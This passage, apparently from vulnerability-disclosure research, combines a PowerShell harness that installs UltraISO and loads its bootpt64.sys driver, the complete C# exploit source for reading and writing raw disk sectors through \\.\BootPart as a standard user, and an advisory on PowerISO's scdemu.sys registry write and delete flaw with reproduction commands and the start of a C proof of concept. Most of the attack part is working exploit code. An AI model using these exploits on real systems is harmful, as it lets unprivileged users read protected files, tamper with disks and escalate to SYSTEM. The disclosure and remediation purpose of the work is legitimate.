Dismount-DiskImage -ImagePath $rawVhd -ErrorAction SilentlyContinue | Out-File -LiteralPath (Join-Path $EvidenceDir 'raw_write_dismount.txt') -Encoding ascii
}
function Ensure-BootPartLoaded([string]$DriverPath, [string]$EvidenceDir) {
(& sc.exe create BootPartRepro type= kernel start= demand binPath= $DriverPath) | Out-File -LiteralPath (Join-Path $EvidenceDir 'driver_service_create.txt') -Encoding ascii
(& sc.exe start BootPartRepro) | Out-File -LiteralPath (Join-Path $EvidenceDir 'driver_service_start.txt') -Encoding ascii
(& sc.exe query BootPartRepro) | Out-File -LiteralPath (Join-Path $EvidenceDir 'driver_service_status.txt') -Encoding ascii
(& sc.exe qc BootPartRepro) | Out-File -LiteralPath (Join-Path $EvidenceDir 'driver_service_config.txt') -Encoding ascii
}
function Cleanup-Repro([string]$WorkRoot, [string]$InstallDir, [string]$EvidenceDir) {
$cleanup = Join-Path $EvidenceDir 'cleanup_log.txt'
"Cleanup started: $(Get-Date -Format o)" | Set-Content -LiteralPath $cleanup -Encoding ascii
try {
Get-ChildItem -LiteralPath $WorkRoot -Filter '*.vhd' -ErrorAction SilentlyContinue | ForEach-Object {
Dismount-DiskImage -ImagePath $_.FullName -ErrorAction SilentlyContinue | Out-File -LiteralPath $cleanup -Append -Encoding ascii
}
(& sc.exe stop BootPartRepro 2>&1) | Out-File -LiteralPath $cleanup -Append -Encoding ascii
(& sc.exe delete BootPartRepro 2>&1) | Out-File -LiteralPath $cleanup -Append -Encoding ascii
$uninstaller = Join-Path $InstallDir 'unins000.exe'
if (Test-Path $uninstaller) {
$p = Start-Process -FilePath $uninstaller -ArgumentList @('/VERYSILENT','/SUPPRESSMSGBOXES','/NORESTART') -WindowStyle Hidden -Wait -PassThru
"uninstaller exit=$($p.ExitCode)" | Add-Content -LiteralPath $cleanup -Encoding ascii
}
Remove-Item -LiteralPath $WorkRoot, $InstallDir -Recurse -Force -ErrorAction SilentlyContinue
} finally {
"WorkRoot exists after cleanup: $(Test-Path $WorkRoot)" | Add-Content -LiteralPath $cleanup -Encoding ascii
"InstallDir exists after cleanup: $(Test-Path $InstallDir)" | Add-Content -LiteralPath $cleanup -Encoding ascii
"BootPartRepro service query after cleanup:" | Add-Content -LiteralPath $cleanup -Encoding ascii
(& sc.exe query BootPartRepro 2>&1) | Out-File -LiteralPath $cleanup -Append -Encoding ascii
}
}
Assert-Admin
$credential = Get-LowCredential
$packageDir = $PSScriptRoot
if ([string]::IsNullOrWhiteSpace($RepoRoot)) { $RepoRoot = (Resolve-Path (Join-Path $packageDir '..\..\..')).Path }
$workRoot = 'C:\ProgramData\VendorRepro\ultraiso_bootpart'
$evidenceTemp = 'C:\ProgramData\VendorRepro\ultraiso_bootpart_evidence'
$installDir = 'C:\ProgramData\VendorRepro\ultraiso_app'
$finalEvidence = Join-Path $packageDir 'evidence'
$installer = Join-Path $RepoRoot 'dev\downloads\ultraiso\uiso9_pe.exe'
$exploitSource = Join-Path $RepoRoot 'dev\poc\ultraiso_bootpart_flag_rw_exploit.cs'
$exploitExe = Join-Path $RepoRoot 'dev\poc\bin\ultraiso_bootpart_flag_rw_exploit.exe'
Remove-Item -LiteralPath $evidenceTemp -Recurse -Force -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force -Path $workRoot, $evidenceTemp | Out-Null
(& icacls.exe $workRoot /grant '*S-1-5-32-545:(OI)(CI)M') | Out-File -LiteralPath (Join-Path $evidenceTemp 'runtime_acl_setup.txt') -Encoding ascii
(& icacls.exe $evidenceTemp /grant '*S-1-5-32-545:(OI)(CI)M') | Out-File -LiteralPath (Join-Path $evidenceTemp 'evidence_acl_setup.txt') -Encoding ascii
try {
Download-Installer $installer
Compile-Exploit $exploitSource $exploitExe
$installLog = Join-Path $evidenceTemp 'installer.log'
$p = Start-Process -FilePath $installer -ArgumentList @('/VERYSILENT','/SUPPRESSMSGBOXES','/NORESTART','/SP-',"/DIR=$installDir","/LOG=$installLog") -WindowStyle Hidden -PassThru
if (-not $p.WaitForExit(180000)) { Stop-Process -Id $p.Id -Force -ErrorAction SilentlyContinue; throw 'UltraISO installer timed out.' }
"installer exit=$($p.ExitCode)" | Set-Content -LiteralPath (Join-Path $evidenceTemp 'installer_status.txt') -Encoding ascii
if ($p.ExitCode -ne 0) { throw "UltraISO installer failed with exit code $($p.ExitCode)." }
Start-Sleep -Seconds 2
$driver = Get-ChildItem -Path $installDir -Recurse -ErrorAction SilentlyContinue -Filter bootpt64.sys | Select-Object -First 1
if (-not $driver) { throw 'bootpt64.sys was not found after installation.' }
Ensure-BootPartLoaded -DriverPath $driver.FullName -EvidenceDir $evidenceTemp
$diskNumber = Create-Vhd -WorkRoot $workRoot -EvidenceDir $evidenceTemp
$meta = New-ProtectedFlag -DiskNumber ([uint32]$diskNumber) -WorkRoot $workRoot -EvidenceDir $evidenceTemp
$status = Join-Path $evidenceTemp 'low_run_status.txt'
'UltraISO low-user EXP run status' | Set-Content -LiteralPath $status -Encoding ascii
Run-LowBaseline -DiskNumber ([uint32]$meta.disk_number) -FlagPath $meta.protected_file -Credential $credential -EvidenceDir $evidenceTemp -StatusPath $status
(& mountvol.exe R: /p) | Out-File -LiteralPath (Join-Path $evidenceTemp 'volume_dismount_before_raw_io.txt') -Encoding ascii
Start-Sleep -Seconds 2
$readOut = Join-Path $evidenceTemp 'exploit_read_clusters.bin'
Run-Low -Name 'low_exp_read' -FilePath $exploitExe -Credential $credential -StatusPath $status `
-Stdout (Join-Path $evidenceTemp 'low_exp_read_stdout.txt') `
-Stderr (Join-Path $evidenceTemp 'low_exp_read_stderr.txt') `
-ArgumentList @('--mode','read','--disk',[string]$meta.disk_number,'--offset',[string]$meta.disk_offset,'--length',[string]$meta.run_length,'--expect-marker',$meta.marker,'--out',$readOut,'--drive-letter','Q')
$installerSig = Get-AuthenticodeSignature $installer
$driverSig = Get-AuthenticodeSignature $driver.FullName
[pscustomobject]@{
product = 'UltraISO Premium Edition'
product_version = (Get-Item $installer).VersionInfo.ProductVersion
download_url = 'https://www.ultraiso.com/uiso9_pe.exe'
file_name = 'uiso9_pe.exe'
installer_sha256 = (Get-FileHash $installer -Algorithm SHA256).Hash
installer_signature_status = $installerSig.Status.ToString()
installer_signer_subject = $installerSig.SignerCertificate.Subject
driver_name = 'bootpt64.sys'
driver_path = $driver.FullName
driver_sha256 = (Get-FileHash $driver.FullName -Algorithm SHA256).Hash
driver_signature_status = $driverSig.Status.ToString()
driver_signer_subject = $driverSig.SignerCertificate.Subject
driver_load_method = 'Official installer silent install; extracted installed bootpt64.sys loaded with temporary BootPartRepro kernel service.'
low_exploit = 'ultraiso_bootpart_flag_rw_exploit.exe'
low_exploit_sha256 = (Get-FileHash $exploitExe -Algorithm SHA256).Hash
device_path = '\\.\BootPart'
} | ConvertTo-Json -Depth 4 | Set-Content -LiteralPath (Join-Path $evidenceTemp 'product_driver_metadata.json') -Encoding ascii
if ($AttemptWrite) {
'Write phase uses a separate temporary unformatted VHD and an unused raw sector; no filesystem metadata or user data is modified.' | Set-Content -LiteralPath (Join-Path $evidenceTemp 'raw_write_scope.txt') -Encoding ascii
Run-RawWriteProof -WorkRoot $workRoot -EvidenceDir $evidenceTemp -ExploitExe $exploitExe -Credential $credential -StatusPath $status
} else {
'Write phase skipped by default; read-only protected-file disclosure proof completed.' | Set-Content -LiteralPath (Join-Path $evidenceTemp 'write_phase_skipped.txt') -Encoding ascii
}
if (-not $SkipCleanup) { Cleanup-Repro $workRoot $installDir $evidenceTemp }
Remove-Item -LiteralPath $finalEvidence -Recurse -Force -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force -Path $finalEvidence | Out-Null
Copy-Item -Path (Join-Path $evidenceTemp '*') -Destination $finalEvidence -Force
Write-Host "Reproduction complete. Evidence copied to $finalEvidence"
} catch {
"BLOCKED_OR_FAILED: $($_.Exception.Message)" | Set-Content -LiteralPath (Join-Path $evidenceTemp 'blocked_or_failed.txt') -Encoding ascii
if (-not $SkipCleanup) { Cleanup-Repro $workRoot $installDir $evidenceTemp }
Remove-Item -LiteralPath $finalEvidence -Recurse -Force -ErrorAction SilentlyContinue
New-Item -ItemType Directory -Force -Path $finalEvidence | Out-Null
Copy-Item -Path (Join-Path $evidenceTemp '*') -Destination $finalEvidence -Force -ErrorAction SilentlyContinue
throw
}
ultraiso_bootpart_flag_rw_exploit.cs
using System;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.Principal;
using System.Text;
using Microsoft.Win32.SafeHandles;
internal static class UltraIsoBootPartFlagRwExploit
{
private const uint IOCTL_BOOTPART_MOUNT = 0x0007F300;
private const uint IOCTL_BOOTPART_UNMOUNT = 0x0007F304;
private const uint GENERIC_READ = 0x80000000;
private const uint GENERIC_WRITE = 0x40000000;
private const uint FILE_SHARE_READ = 0x00000001;
private const uint FILE_SHARE_WRITE = 0x00000002;
private const uint OPEN_EXISTING = 3;
private const uint FILE_BEGIN = 0;
private const int TOKEN_QUERY = 0x0008;
private const int TokenIntegrityLevel = 25;
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
private static extern SafeFileHandle CreateFileW(
string lpFileName,
uint dwDesiredAccess,
uint dwShareMode,
IntPtr lpSecurityAttributes,
uint dwCreationDisposition,
uint dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool DeviceIoControl(
SafeFileHandle hDevice,
uint dwIoControlCode,
IntPtr lpInBuffer,
int nInBufferSize,
IntPtr lpOutBuffer,
int nOutBufferSize,
out int lpBytesReturned,
IntPtr lpOverlapped);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool SetFilePointerEx(SafeFileHandle hFile, long liDistanceToMove, IntPtr lpNewFilePointer, uint dwMoveMethod);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool ReadFile(SafeFileHandle hFile, IntPtr lpBuffer, int nNumberOfBytesToRead, out int lpNumberOfBytesRead, IntPtr lpOverlapped);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool WriteFile(SafeFileHandle hFile, IntPtr lpBuffer, int nNumberOfBytesToWrite, out int lpNumberOfBytesWritten, IntPtr lpOverlapped);
[DllImport("kernel32.dll")]
private static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool CloseHandle(IntPtr hObject);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool OpenProcessToken(IntPtr processHandle, int desiredAccess, out IntPtr tokenHandle);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern bool GetTokenInformation(IntPtr tokenHandle, int tokenInformationClass, IntPtr tokenInformation, int tokenInformationLength, out int returnLength);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern IntPtr GetSidSubAuthorityCount(IntPtr pSid);
[DllImport("advapi32.dll", SetLastError = true)]
private static extern IntPtr GetSidSubAuthority(IntPtr pSid, uint nSubAuthority);
private static int Main(string[] args)
{
try
{
Options opt = Options.Parse(args);
if (opt == null)
{
Usage();
return 2;
}
PrintIdentity();
if (!string.IsNullOrEmpty(opt.FlagPath))
{
BaselineProtectedFile(opt.FlagPath);
}
BaselineRawDisk(opt.Disk);
using (SafeFileHandle bootPart = OpenBootPart())
{
if (bootPart.IsInvalid)
{
Console.Error.WriteLine("[DRIVER] open=FAILED path=\\\\.\\BootPart error={0}", Marshal.GetLastWin32Error());
return 1;
}
Console.WriteLine("[DRIVER] open=SUCCESS path=\\\\.\\BootPart");
ulong ioOffset = opt.OffsetBytes;
uint startSector = 0;
uint sectors = 0xffffffffu;
if (opt.Mode == "write")
{
startSector = checked((uint)(opt.OffsetBytes / 512UL));
ioOffset = opt.OffsetBytes % 512UL;
sectors = CheckedSectorWindow(ioOffset, opt.LengthBytes);
}
if (!Mount(bootPart, opt.Disk, opt.Mode == "read", opt.DriveLetter, startSector, sectors))
{
return 1;
}
int rc;
if (opt.Mode == "read")
{
byte[] data = RawRead(bootPart, opt.OffsetBytes, checked((int)opt.LengthBytes));
File.WriteAllBytes(opt.OutPath, data);
string prefix = AsciiPrefix(data, 256);
bool found = !string.IsNullOrEmpty(opt.ExpectMarker) && prefix.Contains(opt.ExpectMarker);
Console.WriteLine("[EXPLOIT_READ] success=True disk={0} offset={1} bytes={2} out={3}", opt.Disk, opt.OffsetBytes, data.Length, opt.OutPath);
Console.WriteLine("[EXPLOIT_READ] prefix={0}", prefix);
if (!string.IsNullOrEmpty(opt.ExpectMarker))
{
Console.WriteLine("[RESULT] read_marker_found={0}", found);
rc = found ? 0 : 3;
}
else
{
rc = 0;
}
}
else
{
byte[] payload = MakePayload(opt.WriteMarker, checked((int)opt.LengthBytes));
string writePath = RawWriteWithFallback(bootPart, opt.DriveLetter, ioOffset, payload);
Console.WriteLine("[EXPLOIT_WRITE] success=True disk={0} absolute_offset={1} io_offset={2} bytes={3} path={4}", opt.Disk, opt.OffsetBytes, ioOffset, payload.Length, writePath);
Console.WriteLine("[EXPLOIT_WRITE] marker={0}", opt.WriteMarker);
Console.WriteLine("[RESULT] write_succeeded=True");
rc = 0;
}
Unmount(bootPart);
return rc;
}
}
catch (Exception ex)
{
Console.Error.WriteLine("[ERROR] {0}: {1}", ex.GetType().Name, ex.Message);
return 1;
}
}
private static SafeFileHandle OpenBootPart()
{
return CreateFileW("\\\\.\\BootPart", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, 0, IntPtr.Zero);
}
private static bool Mount(SafeFileHandle h, uint disk, bool readOnly, char driveLetter, uint startSector, uint sectorCount)
{
IntPtr req = Marshal.AllocHGlobal(12);
try
{
Marshal.WriteByte(req, 0, 0);
Marshal.WriteByte(req, 1, checked((byte)disk));
Marshal.WriteByte(req, 2, readOnly ? (byte)1 : (byte)0);
Marshal.WriteByte(req, 3, (byte)Char.ToUpperInvariant(driveLetter));
Marshal.WriteInt32(req, 4, unchecked((int)startSector));
Marshal.WriteInt32(req, 8, unchecked((int)sectorCount));
int returned;
bool ok = DeviceIoControl(h, IOCTL_BOOTPART_MOUNT, req, 12, req, 12, out returned, IntPtr.Zero);
if (!ok)
{
Console.Error.WriteLine("[DRIVER] mount=FAILED disk={0} read_only={1} error={2}", disk, readOnly, Marshal.GetLastWin32Error());
return false;
}
Console.WriteLine("[DRIVER] mount=SUCCESS disk={0} read_only={1} drive={2}: start_sector={3} sectors={4}", disk, readOnly, Char.ToUpperInvariant(driveLetter), startSector, sectorCount);
return true;
}
finally
{
Marshal.FreeHGlobal(req);
}
}
private static void Unmount(SafeFileHandle h)
{
int returned;
bool ok = DeviceIoControl(h, IOCTL_BOOTPART_UNMOUNT, IntPtr.Zero, 0, IntPtr.Zero, 0, out returned, IntPtr.Zero);
Console.WriteLine("[DRIVER] unmount_ok={0} error={1}", ok, Marshal.GetLastWin32Error());
}
private static byte[] RawRead(SafeFileHandle h, ulong offset, int length)
{
if (!SetFilePointerEx(h, checked((long)offset), IntPtr.Zero, FILE_BEGIN))
{
throw new InvalidOperationException("SetFilePointerEx failed: " + Marshal.GetLastWin32Error());
}
IntPtr buf = Marshal.AllocHGlobal(length);
try
{
ZeroMemory(buf, length);
int got;
if (!ReadFile(h, buf, length, out got, IntPtr.Zero))
{
throw new InvalidOperationException("ReadFile through BootPart failed: " + Marshal.GetLastWin32Error());
}
byte[] data = new byte[got];
Marshal.Copy(buf, data, 0, got);
return data;
}
finally
{
Marshal.FreeHGlobal(buf);
}
}
private static void RawWrite(SafeFileHandle h, ulong offset, byte[] payload)
{
if (!SetFilePointerEx(h, checked((long)offset), IntPtr.Zero, FILE_BEGIN))
{
throw new InvalidOperationException("SetFilePointerEx failed: " + Marshal.GetLastWin32Error());
}
IntPtr buf = Marshal.AllocHGlobal(payload.Length);
try
{
Marshal.Copy(payload, 0, buf, payload.Length);
int wrote;
if (!WriteFile(h, buf, payload.Length, out wrote, IntPtr.Zero) || wrote != payload.Length)
{
throw new InvalidOperationException("WriteFile through BootPart failed or short write: " + Marshal.GetLastWin32Error());
}
}
finally
{
Marshal.FreeHGlobal(buf);
}
}
private static string RawWriteWithFallback(SafeFileHandle bootPart, char driveLetter, ulong offset, byte[] payload)
{
try
{
RawWrite(bootPart, offset, payload);
Console.WriteLine("[WRITE_ATTEMPT] path=\\\\.\\BootPart result=SUCCESS");
return "\\\\.\\BootPart";
}
catch (InvalidOperationException ex)
{
Console.WriteLine("[WRITE_ATTEMPT] path=\\\\.\\BootPart result=FAILED detail={0}", ex.Message);
string drivePath = "\\\\.\\" + Char.ToUpperInvariant(driveLetter) + ":";
using (SafeFileHandle drive = CreateFileW(drivePath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, 0, IntPtr.Zero))
{
if (drive.IsInvalid)
{
throw new InvalidOperationException("WriteFile through BootPart failed and opening " + drivePath + " also failed: " + Marshal.GetLastWin32Error());
}
RawWrite(drive, offset, payload);
Console.WriteLine("[WRITE_ATTEMPT] path={0} result=SUCCESS", drivePath);
return drivePath;
}
}
}
private static void BaselineProtectedFile(string path)
{
try
{
File.ReadAllBytes(path);
Console.WriteLine("[BASELINE] protected_read=UNEXPECTED_SUCCESS path={0}", path);
}
catch (Exception ex)
{
Console.WriteLine("[BASELINE] protected_read=DENIED path={0} error={1}", path, ex.Message);
}
try
{
File.WriteAllText(path, "SHOULD-NOT-WRITE");
Console.WriteLine("[BASELINE] protected_write=UNEXPECTED_SUCCESS path={0}", path);
}
catch (Exception ex)
{
Console.WriteLine("[BASELINE] protected_write=DENIED path={0} error={1}", path, ex.Message);
}
}
private static void BaselineRawDisk(uint disk)
{
string path = "\\\\.\\PhysicalDrive" + disk;
using (SafeFileHandle h = CreateFileW(path, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, IntPtr.Zero, OPEN_EXISTING, 0, IntPtr.Zero))
{
if (h.IsInvalid)
{
Console.WriteLine("[BASELINE] raw_disk_open=DENIED path={0} error={1}", path, Marshal.GetLastWin32Error());
}
else
{
Console.WriteLine("[BASELINE] raw_disk_open=UNEXPECTED_SUCCESS path={0}", path);
}
}
}
private static void PrintIdentity()
{
WindowsIdentity id = WindowsIdentity.GetCurrent();
WindowsPrincipal principal = new WindowsPrincipal(id);
Console.WriteLine("[IDENTITY] user={0}", id.Name);
Console.WriteLine("[IDENTITY] is_administrator={0}", principal.IsInRole(WindowsBuiltInRole.Administrator));
Console.WriteLine("[IDENTITY] integrity={0}", GetIntegrityLevel());
}
private static string GetIntegrityLevel()
{
IntPtr token;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, out token)) return "unknown";
try
{
int needed;
GetTokenInformation(token, TokenIntegrityLevel, IntPtr.Zero, 0, out needed);
IntPtr buf = Marshal.AllocHGlobal(needed);
try
{
if (!GetTokenInformation(token, TokenIntegrityLevel, buf, needed, out needed)) return "unknown";
IntPtr sid = Marshal.ReadIntPtr(buf);
int count = Marshal.ReadByte(GetSidSubAuthorityCount(sid));
int rid = Marshal.ReadInt32(GetSidSubAuthority(sid, (uint)(count - 1)));
if (rid >= 0x4000) return "System";
if (rid >= 0x3000) return "High";
if (rid >= 0x2000) return "Medium";
if (rid >= 0x1000) return "Low";
return "Untrusted";
}
finally
{
Marshal.FreeHGlobal(buf);
}
}
finally
{
CloseHandle(token);
}
}
private static uint CheckedSectorWindow(ulong offset, ulong length)
{
ulong sectors = (offset + length + 511UL) / 512UL;
if (sectors == 0 || sectors > 0xffffffffUL) throw new ArgumentOutOfRangeException("length");
return (uint)sectors;
}
private static byte[] MakePayload(string marker, int length)
{
if (string.IsNullOrEmpty(marker)) throw new ArgumentException("--write-marker is required.");
byte[] payload = new byte[length];
byte[] markerBytes = Encoding.ASCII.GetBytes(marker);
Array.Copy(markerBytes, payload, Math.Min(markerBytes.Length, payload.Length));
for (int i = markerBytes.Length; i < payload.Length; i++) payload[i] = 0x42;
return payload;
}
private static string AsciiPrefix(byte[] data, int max)
{
int len = Math.Min(data.Length, max);
return Encoding.ASCII.GetString(data, 0, len).Replace("\0", "\\0").Replace("\r", "\\r").Replace("\n", "\\n");
}
private static void ZeroMemory(IntPtr ptr, int length)
{
byte[] zeros = new byte[Math.Min(4096, length)];
int offset = 0;
while (offset < length)
{
int chunk = Math.Min(zeros.Length, length - offset);
Marshal.Copy(zeros, 0, IntPtr.Add(ptr, offset), chunk);
offset += chunk;
}
}
private static void Usage()
{
Console.Error.WriteLine("Usage:");
Console.Error.WriteLine(" ultraiso_bootpart_flag_rw_exploit.exe --mode read --disk N --offset BYTES --length BYTES --flag-path PATH --expect-marker MARKER --out OUT.bin");
Console.Error.WriteLine(" ultraiso_bootpart_flag_rw_exploit.exe --mode write --disk N --offset BYTES --length BYTES --write-marker MARKER");
Console.Error.WriteLine("Optional: --drive-letter Q");
}
private sealed class Options
{
public string Mode = "read";
public uint Disk;
public ulong OffsetBytes;
public ulong LengthBytes;
public string FlagPath;
public string ExpectMarker;
public string WriteMarker;
public string OutPath;
public char DriveLetter = 'Q';
public static Options Parse(string[] args)
{
Options opt = new Options();
for (int i = 0; i < args.Length; i++)
{
string a = args[i].ToLowerInvariant();
if (a == "--mode" && i + 1 < args.Length) opt.Mode = args[++i].ToLowerInvariant();
else if (a == "--disk" && i + 1 < args.Length) opt.Disk = UInt32.Parse(args[++i]);
else if (a == "--offset" && i + 1 < args.Length) opt.OffsetBytes = UInt64.Parse(args[++i]);
else if (a == "--length" && i + 1 < args.Length) opt.LengthBytes = UInt64.Parse(args[++i]);
else if (a == "--flag-path" && i + 1 < args.Length) opt.FlagPath = args[++i];
else if (a == "--expect-marker" && i + 1 < args.Length) opt.ExpectMarker = args[++i];
else if (a == "--write-marker" && i + 1 < args.Length) opt.WriteMarker = args[++i];
else if (a == "--out" && i + 1 < args.Length) opt.OutPath = args[++i];
else if (a == "--drive-letter" && i + 1 < args.Length) opt.DriveLetter = args[++i][0];
else return null;
}
if (opt.Mode != "read" && opt.Mode != "write") return null;
if (opt.LengthBytes == 0) return null;
if (opt.Mode == "read" && string.IsNullOrEmpty(opt.OutPath)) return null;
if (opt.Mode == "write" && string.IsNullOrEmpty(opt.WriteMarker)) return null;
return opt;
}
}
}
PowerISO 9.3.0.0 Kernel Driver 6.9.0.0 Local Privilege Escalation via Arbitrary Registry Write or Deletion
Summary
PowerISO 9.3 installs the signed kernel driver scdemu.sys. When loaded, the driver creates user-visible virtual CD device links such as \\.\SCDEmuDev0. Two registry helper IOCTLs are reachable from a standard user:
0x80002018: writes or deletes a caller-selected registry value throughRtlWriteRegistryValue.0x8000201C: opens and deletes a caller-selected empty registry key.
The driver performs these operations from kernel context without enforcing the caller's normal registry permissions. In the validation below, a standard user could not directly write or delete protected HKLM objects, but could write a protected HKLM value and delete a protected empty HKLM key through \\.\SCDEmuDev0.
An unprivileged user can exploit combined arbitrary registry write and deletion primitives to achieve local privilege escalation under certain circumstances, such as atomically replacing service ImagePath or FailureCommand values, deterministically hijacking COM server registrations with attacker-controlled DLL paths, or tampering with LSA policy and autorun keys to trigger SYSTEM code execution — offering higher reliability and reduced detection surface compared to deletion-only primitives.
Affected Product and Version
- Product: PowerISO
- Tested version: 9.3.0.0 x64
- Installed product path:
C:\Program Files\PowerISO\PowerISO.exe - Driver path:
C:\Windows\System32\drivers\scdemu.sys - Driver version: 6.9.0.0
- Driver SHA-256:
D01A58E0A222E4D301B75AE80150D8CBC17F56B3F6458352D2C7C449BE302EEE
Download URL and SHA-256
- Download URL:
https://poweriso.com/PowerISO9-x64.exe - File name:
PowerISO9-x64.exe - Installer SHA-256:
104FD55A9C9AFE36EAA2F6DBBCD2DE37B14C807D3D94ABD53A0460A1AD31FE38 - Installer version:
9.3.0.0 - Installer signature: Valid, Power Software Limited
- Driver signature: Valid, Power Software Limited
Vulnerability Type
Local privilege escalation / Windows registry access-control bypass through exposed kernel-mode registry helper IOCTLs.
Impact
A low-privileged local user can create, modify, or delete protected HKLM registry data through the PowerISO driver. This can be used to tamper with protected product configuration, persistence locations, or service/autostart configuration. Depending on the selected target key and service behavior, protected registry write primitives can lead to LocalSystem code execution after a reboot or service restart.
The validation used only self-created test keys under HKLM\SOFTWARE\VendorRepro.
Test Environment
- OS: Windows, x64 test VM
- Administrator account used only for installation, driver loading, and test-object setup
- Test user: standard user
EXPDEV\low - Test user integrity: Medium Integrity
- Test user groups:
BUILTIN\Users, notBUILTIN\Administrators - Test key:
HKLM\SOFTWARE\VendorRepro\PowerISO - Empty delete-test key:
HKLM\SOFTWARE\VendorRepro\PowerISOEmpty
Driver Load / Setup Steps
- Downloaded the official PowerISO 9.3 x64 installer.
- Installed PowerISO. The installer copied
scdemu.systoC:\Windows\System32\drivers\scdemu.sys. - Loaded the installed signed driver without reboot by creating a temporary kernel service:
sc.exe create PowerIsoScdRepro type= kernel start= demand binPath= C:\Windows\System32\drivers\scdemu.sys
sc.exe start PowerIsoScdRepro
- Confirmed the driver was running and created device links:
SERVICE_NAME: PowerIsoScdRepro
TYPE : 1 KERNEL_DRIVER
STATE : 4 RUNNING
Example device link:
SCDEmuDev0 -> \Device\SCDEmu\SCDEmuCd0
Reproduction Steps
Create controlled protected registry keys as administrator:
New-Item -Path HKLM:\SOFTWARE\VendorRepro\PowerISO -Force
New-ItemProperty -Path HKLM:\SOFTWARE\VendorRepro\PowerISO -Name Guard -Value before -PropertyType String -Force
New-Item -Path HKLM:\SOFTWARE\VendorRepro\PowerISOEmpty -Force
Run the following as a standard user.
Direct protected HKLM write fails:
reg add HKLM\SOFTWARE\VendorRepro\PowerISO /v DriverWritten /t REG_SZ /d SHOULD-NOT-WRITE /f
Observed:
ERROR: Access is denied.
Write the same protected value through the PowerISO driver:
poweriso_scdemu_registry_write_poc.exe --trigger --device \\.\SCDEmuDev0 --write-sz \Registry\Machine\SOFTWARE\VendorRepro\PowerISO DriverWritten POWERISO-SCDEMU-REGISTRY-WRITE-9075d9c7-6001-498b-8413-a69f5c167f4c
Observed:
Opened \\.\SCDEmuDev0, sending 268-byte request to IOCTL 0x80002018
DeviceIoControl(0x80002018) returned success, bytes=0
Querying the key shows the value was created:
HKEY_LOCAL_MACHINE\SOFTWARE\VendorRepro\PowerISO
DriverWritten REG_SZ POWERISO-SCDEMU-REGISTRY-WRITE-9075d9c7-6001-498b-8413-a69f5c167f4c
Direct protected HKLM key deletion fails:
reg delete HKLM\SOFTWARE\VendorRepro\PowerISOEmpty /f
Observed:
ERROR: Access is denied.
Delete the same protected empty key through the PowerISO driver:
poweriso_scdemu_registry_write_poc.exe --trigger --device \\.\SCDEmuDev0 --delete-empty-key \Registry\Machine\SOFTWARE\VendorRepro\PowerISOEmpty
Observed:
Opened \\.\SCDEmuDev0, sending 106-byte request to IOCTL 0x8000201c
DeviceIoControl(0x8000201c) returned success, bytes=0
An administrator query confirms the key was removed:
ERROR: The system was unable to find the specified registry key or value.
Why This Proves the Vulnerability
The test user is a standard user at Medium Integrity. Windows correctly denies that user direct write and delete operations under HKLM. The same user can perform those operations through \\.\SCDEmuDev0.
This proves that scdemu.sys exposes privileged registry modification helpers to low-privileged callers without enforcing the expected Windows registry access checks.
Cleanup Steps
Remove-Item HKLM:\SOFTWARE\VendorRepro -Recurse -Force
sc.exe stop PowerIsoScdRepro
sc.exe delete PowerIsoScdRepro
uninstall.exe /S
Remove-Item C:\ProgramData\VendorRepro -Recurse -Force
Suggested Remediation
- Remove the registry write/delete IOCTLs from the public device interface.
- Restrict the device object ACL so standard users cannot open
\\.\SCDEmuDev<N>. - Require administrative authorization before accepting registry modification requests.
- If kernel-mode registry access is required, impersonate the caller and force normal access checks on opened registry objects.
- Replace the current packed-buffer parser with a versioned structure containing explicit byte lengths, and validate all string and data lengths against
InputBufferLength.
POC
// PowerISO scdemu.sys arbitrary registry value write / empty-key delete PoC.
//
// Static target:
// Device: \\.\SCDEmuDev0 (driver creates \Device\SCDEmu\SCDEmuCd%u)
// IOCTL 0x80002018 -> RtlWriteRegistryValue / RtlDeleteRegistryValue
// IOCTL 0x8000201C -> ZwOpenKey + ZwDeleteKey for empty keys
//
// The PoC is inert unless --trigger is supplied. It is intended for a controlled
// VM where the vulnerable driver is already installed and the device exists.
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winioctl.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <wchar.h>
#define IOCTL_SCDEMU_REG_WRITE_VALUE 0x80002018UL
#define IOCTL_SCDEMU_DELETE_EMPTY_KEY 0x8000201CUL
static void usage(const wchar_t *argv0)
{
wprintf(L"PowerISO scdemu.sys registry IOCTL PoC (compiled-only artifact).\n\n");
wprintf(L"Usage:\n");
wprintf(L" %ls --trigger [--device \\\\.\\SCDEmuDev0] --write-sz <nt-key> <value-name> <data>\n", argv0);
wprintf(L" %ls --trigger [--device \\\\.\\SCDEmuDev0] --write-dword <nt-key> <value-name> <hex-value>\n", argv0);
wprintf(L" %ls --trigger [--device \\\\.\\SCDEmuDev0] --delete-empty-key <nt-key>\n\n", argv0);
wprintf(L"Example NT key path:\n");
wprintf(L" \\\\Registry\\\\Machine\\\\SOFTWARE\n\n");
wprintf(L"No IOCTL is sent unless --trigger is present.\n");
}
static int append_bytes(BYTE *buf, size_t cap, size_t *off, const void *src, size_t len)
{
if (len > cap || *off > cap - len) {
return 0;
}
memcpy(buf + *off, src, len);
*off += len;
return 1;
}
static int append_wz(BYTE *buf, size_t cap, size_t *off, const wchar_t *s)
{
size_t chars = wcslen(s) + 1;
if (chars > (SIZE_MAX / sizeof(wchar_t))) {
return 0;
}
return append_bytes(buf, cap, off, s, chars * sizeof(wchar_t));
}
static BYTE *build_write_request_sz(const wchar_t *key,
